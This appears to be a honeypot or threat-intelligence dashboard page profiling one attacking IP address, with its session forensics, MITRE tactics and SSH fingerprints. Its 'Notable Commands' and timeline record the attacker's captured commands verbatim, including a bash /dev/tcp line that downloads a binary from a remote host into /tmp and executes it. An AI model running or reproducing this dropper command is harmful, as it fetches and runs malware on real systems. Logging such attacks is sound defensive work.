← Back to feed
Location
🇸🇬 SG
ASN
AS45102 · Alibaba (US) Technology Co., Ltd.
Cloud Provider
—
Total Events
14
Average by volume
Agent Count
1
First / Last Seen
2026-06-21 10:23 — 2026-06-21 10:23
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
1 (1 with login)
Avg Depth Score
1.0
Commands Executed
5
Files Downloaded
1
Notable Commands
- nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/3zgqgC1Ne3 && chmod +x /tmp/3zgqgC1Ne3 && /tmp/3zgqgC1Ne3 F7IRO9h8Y9Q/DagYFaoTO9VrctU9Da4cGbIVP89raNc6Eq0WD60TOc9jYtAkEqkcAa4UMNdiY9E6A6gYAa4QPM9kZ88zGaofHq0aJFpnPk6M3q80RMYLDA==" &
- dd bs=1 count=1911588 > /tmp/UVvzSIfuM4
- nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/3zgqgC1Ne3 && chmod +x /tmp/3zgqgC1Ne3 && /tmp/3zgqgC1Ne3 F7IRO9h8Y9Q/DagYFaoTO9VrctU9Da4cGbIVP89raNc6Eq0WD60TOc9jYtAkEqkcAa4UMNdiY9E6A6gYAa4QPM9kZ88zGaofHq0aJFpnPk6M3q80RMYLDA==" &0O0O6(6(Qtd?UPX!
- >D6@/XJ'8
- CMD:
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
7f4b0ef54f9b
LOGIN
5
1
2
100%
Loading events...
HASSH 2f5ebb184f5d023…
SSH-2.0-makiko
$ nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && ech…$ dd bs=1 count=1911588 > /tmp/UVvzSIfuM4$ nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && ech…$ >D6@/XJ'8$ CMD: